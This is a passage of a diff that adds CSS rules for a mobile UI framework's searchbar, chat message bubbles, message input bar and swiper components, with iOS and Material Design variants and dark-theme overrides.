0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar .input-clear-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar .input-clear-button:after { + display: none; +} +.md .searchbar .input-clear-button:before { + margin-left: 0; + margin-top: 0; +} +.md .page-content .searchbar { + border-radius: 2px; + margin: 8px; + width: auto; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .page-content .searchbar .searchbar-inner { + border-radius: 2px; +} +.md .page > .searchbar { + z-index: 510; +} +.md .page > .searchbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .page > .searchbar.no-shadow:after { + display: none; +} +.md .page > .searchbar input[type="search"], +.md .subnavbar .searchbar input[type="search"], +.md .searchbar-expandable input[type="search"], +.md .page > .searchbar input[type="text"], +.md .subnavbar .searchbar input[type="text"], +.md .searchbar-expandable input[type="text"] { + padding-left: 73px; +} +.md .page > .searchbar .searchbar-icon, +.md .subnavbar .searchbar .searchbar-icon, +.md .searchbar-expandable .searchbar-icon, +.md .page > .searchbar .searchbar-disable-button, +.md .subnavbar .searchbar .searchbar-disable-button, +.md .searchbar-expandable .searchbar-disable-button { + left: 4px; +} +.md .searchbar-expandable { + width: 56px; + height: 100%; + opacity: 0; + top: 50%; + margin-top: -28px; + -webkit-transform: translate3d(0px, 0px, 0px); + transform: translate3d(0px, 0px, 0px); + left: 100%; + margin-left: -56px; +} +.md .navbar .searchbar-expandable { + border-radius: 28px; + width: 56px; + margin-top: -28px; + margin-left: -56px; +} +@media (min-width: 768px) { + .md .navbar .searchbar-expandable { + border-radius: 32px; + width: 64px; + margin-top: -32px; + margin-left: -64px; + } +} +.md .toolbar .searchbar-expandable, +.md .subnavbar .searchbar-expandable { + border-radius: 24px; + width: 48px; + margin-top: -24px; + margin-left: -48px; +} +.md .tabbar-labels .searchbar-expandable { + border-radius: 36px; + width: 72px; + margin-top: -36px; + margin-left: -72px; +} +.md .searchbar-expandable.searchbar-enabled { + width: 100%; + border-radius: 0; + opacity: 1; + pointer-events: auto; + top: 0; + margin-top: 0; + left: 0; + margin-left: 0; +} +.md .page > .searchbar ~ * .page-content, +.md .page > .searchbar ~ .page-content { + padding-top: 48px; +} +.md .page > .navbar ~ .searchbar { + top: 56px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar { + top: 64px; + } +} +.md .page > .navbar ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 112px; + } +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 48px; +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 96px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 72px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 120px; +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 112px; + } +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 152px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 160px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 128px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 136px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 176px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 184px; + } +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-left .searchbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .searchbar-disable-button, + .md.device-iphone-x .ios-edges .searchbar-disable-button, + .md.device-iphone-x .popup .searchbar-disable-button, + .md.device-iphone-x .sheet-modal .searchbar-disable-button, + .md.device-iphone-x .panel-left .searchbar-disable-button { + left: calc(4px + constant(safe-area-inset-left)); + left: calc(4px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-right .searchbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; +} +.message-received .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message-sent .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.ios .messages-content, +.ios .messages { + background: #fff; +} +.ios .messages-title { + font-size: 11px; + color: #8e8e93; + margin-top: 10px; +} +.ios .messages-title:last-child { + margin-bottom: 10px; +} +.ios .messages-title b { + font-weight: 600; +} +.ios .message { + margin-top: 10px; +} +.ios .message:last-child { + margin-bottom: 10px; +} +.ios .message-avatar { + width: 29px; + height: 29px; +} +.ios .message-header, +.ios .message-footer, +.ios .message-name { + color: #8e8e93; +} +.ios .message-header b, +.ios .message-footer b, +.ios .message-name b { + font-weight: 600; +} +.ios .message-header, +.ios .message-name { + margin-bottom: 3px; +} +.ios .message-footer { + margin-top: 3px; +} +.ios .message-bubble { + font-size: 17px; + line-height: 1.2; + border-radius: 16px; + padding: 6px 16px 9px; + min-width: 48px; + min-height: 35px; +} +.ios .message-image { + margin: 6px -16px; +} +.ios .message-image:first-child { + margin-top: -6px; +} +.ios .message-image:first-child img { + border-top-left-radius: 16px; + border-top-right-radius: 16px; +} +.ios .message-image:last-child { + margin-bottom: -9px; +} +.ios .message-image:last-child img { + border-bottom-left-radius: 16px; + border-bottom-right-radius: 16px; +} +.ios .message-text-header { + margin-bottom: 3px; +} +.ios .message-text-footer { + margin-top: 3px; +} +.ios .message-received { + margin-left: 10px; +} +.ios .message-received .message-header, +.ios .message-received .message-footer, +.ios .message-received .message-name { + margin-left: 16px; +} +.ios .message-received .message-text-header, +.ios .message-received .message-text-footer { + opacity: 0.5; +} +.ios .message-received .message-bubble { + color: #000; + background: #e5e5ea; + padding-left: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received .message-image { + margin-left: -22px; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble { + border-radius: 16px 16px 16px 0; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img { + border-bottom-left-radius: 0px; +} +.ios .message-sent { + margin-right: 10px; +} +.ios .message-sent .message-header, +.ios .message-sent .message-footer, +.ios .message-sent .message-name { + margin-right: 16px; +} +.ios .message-sent .message-text-header, +.ios .message-sent .message-text-footer { + opacity: 0.8; +} +.ios .message-sent .message-bubble { + background: #00d449; + color: #fff; + padding-right: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent .message-image { + margin-right: -22px; +} +.ios .message-sent.message-tail .message-bubble { + border-radius: 16px 16px 0 16px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent.message-tail .message-bubble .message-image:last-child img { + border-bottom-right-radius: 0px; +} +.ios .message + .message:not(.message-first) { + margin-top: 1px; +} +.ios .message-received.message-typing .message-content:after, +.ios .message-received.message-typing .message-content:before { + content: ''; + position: absolute; + background: #e5e5ea; + border-radius: 50%; +} +.ios .message-received.message-typing .message-content:after { + width: 11px; + height: 11px; + left: 4px; + bottom: 0px; +} +.ios .message-received.message-typing .message-content:before { + width: 6px; + height: 6px; + left: -1px; + bottom: -4px; +} +.ios .message-typing-indicator > div { + width: 9px; + height: 9px; + opacity: 0.35; +} +.ios .message-typing-indicator > div + div { + margin-left: 4px; +} +.ios .message-typing-indicator > div:nth-child(1) { + -webkit-animation: ios-message-typing-indicator 900ms infinite; + animation: ios-message-typing-indicator 900ms infinite; +} +.ios .message-typing-indicator > div:nth-child(2) { + -webkit-animation: ios-message-typing-indicator 900ms 150ms infinite; + animation: ios-message-typing-indicator 900ms 150ms infinite; +} +.ios .message-typing-indicator > div:nth-child(3) { + -webkit-animation: ios-message-typing-indicator 900ms 300ms infinite; + animation: ios-message-typing-indicator 900ms 300ms infinite; +} +.ios .theme-dark .messages-content, +.messages-content.ios .theme-dark, +.ios .theme-dark .messages, +.messages.ios .theme-dark { + background-color: transparent; +} +.ios .theme-dark .message-received.message-typing .message-content:after, +.ios .theme-dark .message-received.message-typing .message-content:before { + background: #333; +} +.ios .theme-dark .message-typing-indicator > div { + background-color: #fff; +} +.ios .theme-dark .message-received .message-bubble { + background-color: #333; + color: #fff; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .message-received, + .ios.device-iphone-x .ios-edges .message-received, + .ios.device-iphone-x .popup .message-received, + .ios.device-iphone-x .sheet-modal .message-received, + .ios.device-iphone-x .panel-left .message-received { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .message-sent, + .ios.device-iphone-x .ios-edges .message-sent, + .ios.device-iphone-x .popup .message-sent, + .ios.device-iphone-x .sheet-modal .message-sent, + .ios.device-iphone-x .panel-right .message-sent { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +@keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +.md .messages-content, +.md .messages { + background: #eee; +} +.md .message { + margin-top: 16px; +} +.md .message:last-child { + margin-bottom: 16px; +} +.md .messages-title { + font-size: 12px; + color: rgba(0, 0, 0, 0.51); + margin-top: 16px; +} +.md .messages-title:last-child { + margin-bottom: 16px; +} +.md .messages-title b { + font-weight: 500; +} +.md .message-avatar { + width: 32px; + height: 32px; +} +.md .message-header, +.md .message-footer, +.md .message-name { + color: rgba(0, 0, 0, 0.51); +} +.md .message-header b, +.md .message-footer b, +.md .message-name b { + font-weight: 500; +} +.md .message-header, +.md .message-name { + margin-bottom: 2px; +} +.md .message-footer { + margin-top: 2px; +} +.md .message-bubble { + font-size: 16px; + border-radius: 2px; + padding: 6px 8px; + min-height: 32px; +} +.md .message-text-header, +.md .message-text-footer { + color: rgba(0, 0, 0, 0.51); +} +.md .message-text-header { + margin-bottom: 4px; +} +.md .message-text-footer { + margin-top: 4px; +} +.md .message-received { + margin-left: 8px; +} +.md .message-received .message-bubble { + color: #333; + background: #fff; +} +.md .message-received .message-avatar + .message-content { + margin-left: 8px; +} +.md .message-received.message-tail .message-bubble { + border-radius: 2px 2px 2px 0; +} +.md .message-received.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-left: 8px solid transparent; + border-right: 0 solid transparent; + border-bottom: 8px solid #fff; + right: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message-sent { + margin-right: 8px; +} +.md .message-sent .message-bubble { + color: #333; + background: #c8e6c9; +} +.md .message-sent .message-avatar + .message-content { + margin-right: 8px; +} +.md .message-sent.message-tail .message-bubble { + border-radius: 2px 2px 0 2px; +} +.md .message-sent.message-tail .message-bubble:before { + position: absolute; + content: ''; + border-right: 8px solid transparent; + border-left: 0 solid transparent; + border-bottom: 8px solid #c8e6c9; + left: 100%; + bottom: 0; + width: 0; + height: 0; +} +.md .message + .message:not(.message-first) { + margin-top: 8px; +} +.md .message-typing-indicator > div { + width: 6px; + height: 6px; + opacity: 0.6; +} +.md .message-typing-indicator > div + div { + margin-left: 6px; +} +.md .message-typing-indicator > div:nth-child(1) { + -webkit-animation: md-message-typing-indicator 900ms infinite; + animation: md-message-typing-indicator 900ms infinite; +} +.md .message-typing-indicator > div:nth-child(2) { + -webkit-animation: md-message-typing-indicator 900ms 150ms infinite; + animation: md-message-typing-indicator 900ms 150ms infinite; +} +.md .message-typing-indicator > div:nth-child(3) { + -webkit-animation: md-message-typing-indicator 900ms 300ms infinite; + animation: md-message-typing-indicator 900ms 300ms infinite; +} +.md .theme-dark .messages-content, +.messages-content.md .theme-dark, +.md .theme-dark .messages, +.messages.md .theme-dark { + background-color: transparent; +} +.md .theme-dark .messages-title { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .message-header, +.md .theme-dark .message-footer, +.md .theme-dark .message-name { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .message-received, + .md.device-iphone-x .ios-edges .message-received, + .md.device-iphone-x .popup .message-received, + .md.device-iphone-x .sheet-modal .message-received, + .md.device-iphone-x .panel-left .message-received { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .message-sent, + .md.device-iphone-x .ios-edges .message-sent, + .md.device-iphone-x .popup .message-sent, + .md.device-iphone-x .sheet-modal .message-sent, + .md.device-iphone-x .panel-right .message-sent { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +@keyframes md-message-typing-indicator { + 0% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } + 25% { + -webkit-transform: translateY(-5px); + transform: translateY(-5px); + } + 50% { + -webkit-transform: translateY(0%); + transform: translateY(0%); + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-left: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-left: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .messagebar { + background: #fff; + min-height: 44px; +} +.ios .messagebar:before { + display: none !important; +} +.ios .messagebar textarea { + background: #fff; + border-radius: 17px; + padding: 6px 15px; + height: 34px; + line-height: 20px; + font-size: 17px; + border: 1px solid #c8c8cd; +} +.ios .messagebar a.link.icon-only:first-child { + margin-left: -8px; +} +.ios .messagebar a.link.icon-only:last-child { + margin-right: -8px; +} +.ios .messagebar a.link:not(.icon-only) + .messagebar-area { + margin-left: 8px; +} +.ios .messagebar .messagebar-area + a.link:not(.icon-only) { + margin-left: 8px; +} +.ios .messagebar-area { + margin-top: 5px; + margin-bottom: 5px; +} +.ios .messagebar-attachments { + padding: 5px; + border-radius: 17px 17px 0 0; + border: 1px solid #c8c8cd; + border-bottom: none; +} +.ios .messagebar-attachments-visible .messagebar-attachments + textarea { + border-radius: 0 0 17px 17px; +} +.ios .messagebar-attachment { + border-radius: 12px; + font-size: 14px; +} +.ios .messagebar-attachment img { + border-radius: 12px; +} +.ios .messagebar-sheet { + background: #d1d5da; +} +.ios .messagebar-attachment-delete { + right: 5px; + top: 5px; + width: 20px; + height: 20px; + background: #7d7e80; + border: 2px solid #fff; + cursor: pointer; +} +.ios .messagebar-attachment-delete:after, +.ios .messagebar-attachment-delete:before { + width: 10px; + height: 2px; + background: #fff; + margin-left: -5px; + margin-top: -1px; +} +.ios .theme-dark .messagebar textarea, +.messagebar.ios .theme-dark textarea { + background-color: #000; + border-color: #282829; + color: #fff; +} +.ios .theme-dark .messagebar-attachments { + border-color: #282829; + background-color: #000; +} +.md .messagebar { + font-size: 16px; +} +.md .messagebar:after { + display: none; +} +.md .messagebar textarea { + padding: 5px 8px; + height: 32px; + color: #333; + font-size: 16px; + line-height: 22px; +} +.md .messagebar a.link { + color: #333; +} +.md .messagebar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .messagebar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .messagebar:before { + content: ''; + position: absolute; + background-color: #d1d1d1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .messagebar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .messagebar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .messagebar-attachments { + padding: 8px; + border-bottom: 1px solid #ddd; +} +.md .messagebar-area { + margin-top: 8px; + margin-bottom: 8px; +} +.md .messagebar-sheet { + background: #fff; +} +.md .messagebar-sheet-image .icon-checkbox, +.md .messagebar-sheet-item .icon-checkbox { + border-color: #fff; + background: rgba(255, 255, 255, 0.25); + -webkit-box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.5); +} +.md .messagebar-attachment-delete { + right: 8px; + top: 8px; + width: 24px; + height: 24px; + background: #2196f3; + cursor: pointer; + border-radius: 2px; +} +.md .messagebar-attachment-delete:after, +.md .messagebar-attachment-delete:before { + width: 14px; + height: 2px; + background: #fff; + margin-left: -7px; + margin-top: -1px; +} +.md .theme-dark .messagebar, +.messagebar.md .theme-dark { + background: #000; +} +.md .theme-dark .messagebar:before, +.messagebar.md .theme-dark:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .messagebar a.link, +.messagebar.md .theme-dark a.link { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar a.link:before, +.messagebar.md .theme-dark a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .messagebar a.link.active-state:before, +.messagebar.md .theme-dark a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .messagebar textarea, +.messagebar.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .messagebar-attachments { + border-bottom-color: rgba(255, 255, 255, 0.2); +} +/* === Swiper === */ +.swiper-container { + margin: 0 auto; + position: relative; + overflow: hidden; + list-style: none; + padding: 0; + /* Fix of Webkit flickering */ + z-index: 1; +} +.swiper-container-no-flexbox .swiper-slide { + float: left; +} +.swiper-container-vertical > .swiper-wrapper { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.swiper-wrapper { + position: relative; + width: 100%; + height: 100%; + z-index: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-transition-property: -webkit-transform; + transition-property: 